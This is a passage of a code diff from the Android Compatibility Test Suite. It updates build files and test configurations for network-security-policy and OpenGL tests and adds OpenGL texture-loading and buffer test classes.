index ab1e60a..6dec23f 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
@@ -20,11 +20,9 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner \
     ctstestserver \
-    org.apache.http.legacy \
-    legacy-android-test
+    org.apache.http.legacy
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src common)
 
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml
index cd9e969..5c077c6 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml
@@ -14,12 +14,14 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS CtsNetSecPolicyUsesCleartextTrafficFalse test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="security" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetSecPolicyUsesCleartextTrafficFalse.apk" />
         <option name="test-file-name" value="CtsNetSecPolicyUsesCleartextTrafficFalseTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="com.android.cts.netsecpolicy.usescleartext.false" />
+        <option name="runtime-hint" value="12m" />
     </test>
 </configuration>
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
index 9f0fbec..6df748d 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
@@ -20,11 +20,9 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner \
     ctstestserver \
-    org.apache.http.legacy \
-    legacy-android-test
+    org.apache.http.legacy
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src common)
 
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml
index de0baf0..b80a7d8 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml
@@ -14,12 +14,14 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS CtsNetSecPolicyUsesCleartextTrafficTrue test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="security" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetSecPolicyUsesCleartextTrafficTrue.apk" />
         <option name="test-file-name" value="CtsNetSecPolicyUsesCleartextTrafficTrueTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="com.android.cts.netsecpolicy.usescleartext.true" />
+        <option name="runtime-hint" value="8m" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
index 3d803f8..6f35027 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
@@ -20,11 +20,9 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner \
     ctstestserver \
-    org.apache.http.legacy \
-    legacy-android-test
+    org.apache.http.legacy
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src common)
 
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml
index bbe34d7..fe2fa70 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml
@@ -14,12 +14,14 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS CtsNetSecPolicyUsesCleartextTrafficUnspecified test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="security" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetSecPolicyUsesCleartextTrafficUnspecified.apk" />
         <option name="test-file-name" value="CtsNetSecPolicyUsesCleartextTrafficUnspecifiedTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="com.android.cts.netsecpolicy.usescleartext.unspecified" />
+        <option name="runtime-hint" value="8m" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidTest.xml
index db52e8a..efec701 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidTest.xml
@@ -14,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS CtsNetSecConfigAttributeTestCases test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="security" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetSecConfigAttributeTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.security.net.config.cts.CtsNetSecConfigAttributeTestCases" />
+        <option name="runtime-hint" value="8m30s" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidTest.xml
index 6633c55..4066d83 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidTest.xml
@@ -14,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS CtsNetSecConfigBasicDomainConfigTestCases test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="security" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetSecConfigBasicDomainConfigTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.security.net.config.cts.CtsNetSecConfigBasicDomainConfigTestCases" />
+        <option name="runtime-hint" value="11m" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidTest.xml
index 9957342..014e0ef 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidTest.xml
@@ -14,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS CtsNetSecConfigCleartextTraffic test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="security" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetSecConfigCleartextTrafficTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.security.net.config.cts.CtsNetSecConfigCleartextTrafficTestCases" />
+        <option name="runtime-hint" value="8m10s" />
     </test>
 </configuration>
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidTest.xml
index de1cc1b..611da31 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidTest.xml
@@ -14,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS CtsNetSecConfigBasicDebugDisabledTestCases test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="security" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetSecConfigBasicDebugDisabledTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.security.net.config.cts.CtsNetSecConfigBasicDebugDisabledTestCases" />
+        <option name="runtime-hint" value="8m" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidTest.xml
index fe6e6dc..4f636c3 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidTest.xml
@@ -14,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS CtsNetSecConfigBasicDebugEnabledTestCases test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="security" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetSecConfigBasicDebugEnabledTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.security.net.config.cts.CtsNetSecConfigBasicDebugEnabledTestCases" />
+        <option name="runtime-hint" value="12m" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
index 2d5c98c..3993d00 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
@@ -20,11 +20,7 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    org.apache.http.legacy \
-    android-support-test \
-    legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner org.apache.http.legacy android-support-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidTest.xml
index e966baa..71bc49c 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidTest.xml
@@ -14,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS CtsNetSecConfigDownloadManagerTestCases test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="security" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetSecConfigDownloadManagerTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.security.net.config.cts.CtsNetSecConfigDownloadManagerTestCases" />
+        <option name="runtime-hint" value="11m" />
     </test>
 </configuration>
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidTest.xml
index 4f9adbc..253758f 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidTest.xml
@@ -14,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS CtsNetSecConfigInvalidPinTestCases test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="security" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetSecConfigInvalidPinTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.security.net.config.cts.CtsNetSecConfigInvalidPinTestCases" />
+        <option name="runtime-hint" value="10m30s" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidTest.xml
index c6a1dd1..49976a8 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidTest.xml
@@ -14,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS CtsNetSecConfigNestedDomainConfigTestCases test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="security" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetSecConfigNestedDomainConfigTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.security.net.config.cts.CtsNetSecConfigNestedDomainConfigTestCases" />
+        <option name="runtime-hint" value="7m45s" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
index a0784f0..cace6d0 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
@@ -20,11 +20,7 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    org.apache.http.legacy \
-    android-support-test \
-    legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner org.apache.http.legacy android-support-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidTest.xml
index aa6df4d..671633e 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidTest.xml
@@ -14,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS CtsNetSecConfigInvalidPinTestCases test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="security" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetSecConfigResourcesSrcTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.security.net.config.cts.CtsNetSecConfigResourcesSrcTestCases" />
+        <option name="runtime-hint" value="11m30s" />
     </test>
 </configuration>
diff --git a/tests/tests/opengl/Android.mk b/tests/tests/opengl/Android.mk
index dff1778..64f0f79 100644
--- a/tests/tests/opengl/Android.mk
+++ b/tests/tests/opengl/Android.mk
@@ -33,9 +33,8 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-# 18 required for GLES 3, but going that low will stop some ABIs from
-# building. Using official Nougat level 24 to avoid missing something.
-LOCAL_SDK_VERSION := 24
+# Using EGL_RECORDABLE_ANDROID requires latest
+LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
diff --git a/tests/tests/opengl/AndroidManifest.xml b/tests/tests/opengl/AndroidManifest.xml
index bb79490..c16f25a 100644
--- a/tests/tests/opengl/AndroidManifest.xml
+++ b/tests/tests/opengl/AndroidManifest.xml
@@ -19,8 +19,6 @@
     android:versionName="1.0" >
 
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <!-- GLES30 requires 18 -->
-    <uses-sdk android:minSdkVersion="18" />
     <uses-feature android:glEsVersion="0x00020000"/>
     <instrumentation
         android:name="android.support.test.runner.AndroidJUnitRunner"
@@ -49,6 +47,28 @@
          <activity
             android:name="android.opengl.cts.OpenGLES20NativeActivityTwo"
             android:label="@string/app_name" />
+
+         <activity android:name="android.opengl.cts.CompressedTextureCtsActivity"
+            android:label="CompressedTextureCtsActivity"
+            android:screenOrientation="nosensor"
+            android:hardwareAccelerated="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.opengl.cts.EglConfigCtsActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize|uiMode"
+            android:hardwareAccelerated="true"/>
+
+        <activity android:name="android.opengl.cts.GLSurfaceViewCtsActivity"
+            android:label="GLSurfaceViewCts"
+            android:hardwareAccelerated="true"/>
+
+        <activity android:name="android.opengl.cts.OpenGlEsVersionCtsActivity"
+            android:hardwareAccelerated="true"/>
+
     </application>
 
 </manifest>
diff --git a/tests/tests/opengl/AndroidTest.xml b/tests/tests/opengl/AndroidTest.xml
index 124d072..fc24223 100644
--- a/tests/tests/opengl/AndroidTest.xml
+++ b/tests/tests/opengl/AndroidTest.xml
@@ -1,3 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
 <!-- Copyright (C) 2015 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS OpenGL test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="graphics" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsOpenGLTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.opengl.cts" />
+        <option name="runtime-hint" value="11m" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/opengl/DEPRECATED b/tests/tests/opengl/DEPRECATED
new file mode 100644
index 0000000..59d5124
--- /dev/null
+++ b/tests/tests/opengl/DEPRECATED
@@ -0,0 +1,3 @@
+This suite of tests is deprecated. Please add OpenGL CTS test to either:
+- dEQP for native tests
+- graphics/src/android/opengl/cts for Java bindings tests
diff --git a/tests/tests/graphics/res/raw/basetex.png b/tests/tests/opengl/res/raw/basetex.png
similarity index 100%
rename from tests/tests/graphics/res/raw/basetex.png
rename to tests/tests/opengl/res/raw/basetex.png
Binary files differ
diff --git a/tests/tests/graphics/res/raw/ddstex.dds b/tests/tests/opengl/res/raw/ddstex.dds
similarity index 100%
rename from tests/tests/graphics/res/raw/ddstex.dds
rename to tests/tests/opengl/res/raw/ddstex.dds
Binary files differ
diff --git a/tests/tests/graphics/res/raw/pvrtex.pvr b/tests/tests/opengl/res/raw/pvrtex.pvr
similarity index 100%
rename from tests/tests/graphics/res/raw/pvrtex.pvr
rename to tests/tests/opengl/res/raw/pvrtex.pvr
Binary files differ
diff --git a/tests/tests/opengl/src/android/opengl/cts/AttachShaderTest.java b/tests/tests/opengl/src/android/opengl/cts/AttachShaderTest.java
index b7917e2..0b76770 100644
--- a/tests/tests/opengl/src/android/opengl/cts/AttachShaderTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/AttachShaderTest.java
@@ -146,4 +146,11 @@
         int error = mActivity.glGetError();
         assertEquals(GLES20.GL_NO_ERROR, error);
     }
+
+    public void test_glCompileShaders_shader_info_log_fail() throws Throwable {
+        mActivity = getShaderActivity(Constants.SHADER, 12);
+        String log = mActivity.glGetInfoLog();
+        assertNotNull(log);
+        assertTrue(log.length() > 0);
+    }
 }
diff --git a/tests/tests/opengl/src/android/opengl/cts/ByteBufferTest.java b/tests/tests/opengl/src/android/opengl/cts/ByteBufferTest.java
new file mode 100644
index 0000000..8d596b4
--- /dev/null
+++ b/tests/tests/opengl/src/android/opengl/cts/ByteBufferTest.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.opengl.cts;
+
+import android.support.test.filters.SmallTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.BlockJUnit4ClassRunner;
+
+import java.nio.Buffer;
+import java.nio.ByteBuffer;
+
+import static android.opengl.GLES30.GL_BUFFER_MAP_POINTER;
+import static android.opengl.GLES30.GL_DYNAMIC_READ;
+import static android.opengl.GLES30.GL_MAP_READ_BIT;
+import static android.opengl.GLES30.GL_UNIFORM_BUFFER;
+import static android.opengl.GLES30.glBindBuffer;
+import static android.opengl.GLES30.glBufferData;
+import static android.opengl.GLES30.glDeleteBuffers;
+import static android.opengl.GLES30.glGenBuffers;
+import static android.opengl.GLES30.glGetBufferPointerv;
+import static android.opengl.GLES30.glMapBufferRange;
+import static android.opengl.GLES30.glUnmapBuffer;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+/**
+ * Tests for functions that return a ByteBuffer.
+ */
+@SmallTest
+@RunWith(BlockJUnit4ClassRunner.class) // DO NOT USE AndroidJUnit4, it messes up threading
+public class ByteBufferTest extends GlTestBase {
+    @Test
+    public void testMapBufferRange() {
+        // Always pass on ES 2.0
+        if (Egl14Utils.getMajorVersion() >= 3) {
+            int[] buffer = new int[1];
+            glGenBuffers(1, buffer, 0);
+            glBindBuffer(GL_UNIFORM_BUFFER, buffer[0]);
+            glBufferData(GL_UNIFORM_BUFFER, 1024, null, GL_DYNAMIC_READ);
+
+            Buffer mappedBuffer = glMapBufferRange(GL_UNIFORM_BUFFER, 0, 1024, GL_MAP_READ_BIT);
+
+            assertNotNull(mappedBuffer);
+            assertTrue(mappedBuffer instanceof ByteBuffer);
+
+            Buffer pointerBuffer = glGetBufferPointerv(GL_UNIFORM_BUFFER, GL_BUFFER_MAP_POINTER);
+            assertNotNull(pointerBuffer);
+            assertTrue(pointerBuffer instanceof ByteBuffer);
+
+            glUnmapBuffer(GL_UNIFORM_BUFFER);
+
+            glBindBuffer(GL_UNIFORM_BUFFER, 0);
+            glDeleteBuffers(1, buffer, 0);
+        }
+    }
+}
diff --git a/tests/tests/opengl/src/android/opengl/cts/CompressedTextureCtsActivity.java b/tests/tests/opengl/src/android/opengl/cts/CompressedTextureCtsActivity.java
new file mode 100644
index 0000000..15a7074
--- /dev/null
+++ b/tests/tests/opengl/src/android/opengl/cts/CompressedTextureCtsActivity.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.opengl.cts;
+
+import android.app.Activity;
+import android.content.res.Resources;
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.os.Bundle;
+import android.util.Log;
+
+public class CompressedTextureCtsActivity extends Activity {
+
+    private static final String TAG = "CompressedTextureCtsActivity";
+
+    private Resources mResources;
+
+    private CompressedTextureSurfaceView mCompressedTextureView = null;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        Bundle extras = getIntent().getExtras();
+        String formatTest = extras.getString("TextureFormat", null);
+
+        Log.i(TAG, "Testing format " + formatTest);
+
+        mResources = getResources();
+
+        CompressedTextureLoader.Texture compressed = null;
+
+        BitmapFactory.Options optionsRGB = new BitmapFactory.Options();
+        optionsRGB.inPreferredConfig = Bitmap.Config.RGB_565;
+        optionsRGB.inScaled = false;
+        Bitmap bitmap = BitmapFactory.decodeResource(mResources, R.raw.basetex, optionsRGB);
+
+        if (formatTest.equals(CompressedTextureLoader.TEXTURE_ETC1)) {
+            compressed = CompressedTextureLoader.createFromUncompressedETC1(bitmap);
+        } else if (formatTest.equals(CompressedTextureLoader.TEXTURE_S3TC)) {
+            compressed = CompressedTextureLoader.loadTextureDXT(mResources, R.raw.ddstex);
+        } else if (formatTest.equals(CompressedTextureLoader.TEXTURE_ATC)) {
+            compressed = CompressedTextureLoader.loadTextureATC(mResources, 0); //cts for now
+        } else if (formatTest.equals(CompressedTextureLoader.TEXTURE_PVRTC)) {
+            compressed = CompressedTextureLoader.loadTexturePVRTC(mResources, R.raw.pvrtex);
+        }
+
+        mCompressedTextureView = new CompressedTextureSurfaceView(this, bitmap, compressed);
+        setContentView(mCompressedTextureView);
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        mCompressedTextureView.onResume();
+    }
+
+    public boolean getPassed() throws InterruptedException {
+        return mCompressedTextureView.getTestPassed();
+    }
+}
diff --git a/tests/tests/opengl/src/android/opengl/cts/CompressedTextureLoader.java b/tests/tests/opengl/src/android/opengl/cts/CompressedTextureLoader.java
new file mode 100644
index 0000000..c81a3b9
--- /dev/null
+++ b/tests/tests/opengl/src/android/opengl/cts/CompressedTextureLoader.java
@@ -0,0 +1,473 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.opengl.cts;
+
+import android.content.res.Resources;
+import android.graphics.Bitmap;
+import android.opengl.ETC1;
+import android.opengl.ETC1Util;
+import android.opengl.GLES20;
+
+import java.io.InputStream;
+import java.nio.Buffer;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.util.HashMap;
+
+public class CompressedTextureLoader {
+    public static final String TEXTURE_UNCOMPRESSED = "UNCOMPRESSED";
+    public static final String TEXTURE_ETC1 = "ETC1";
+    public static final String TEXTURE_S3TC = "S3TC";
+    public static final String TEXTURE_ATC = "ATC";
+    public static final String TEXTURE_PVRTC = "PVRTC";
+
+    public static class Texture {
+        public Texture(int width, int height, int internalformat, ByteBuffer data,
+                       String formatName) {
+            mWidth = width;
+            mHeight = height;
+            mInternalFormat = internalformat;
+            mData = data;
+            mFormatName = formatName;
+        }
+
+        /**
+         * Get the width of the texture in pixels.
+         * @return the width of the texture in pixels.
+         */
+        public int getWidth() { return mWidth; }
+
+        /**
+         * Get the height of the texture in pixels.
+         * @return the width of the texture in pixels.
+         */
+        public int getHeight() { return mHeight; }
+
+        /**
+         * Get the compressed data of the texture.
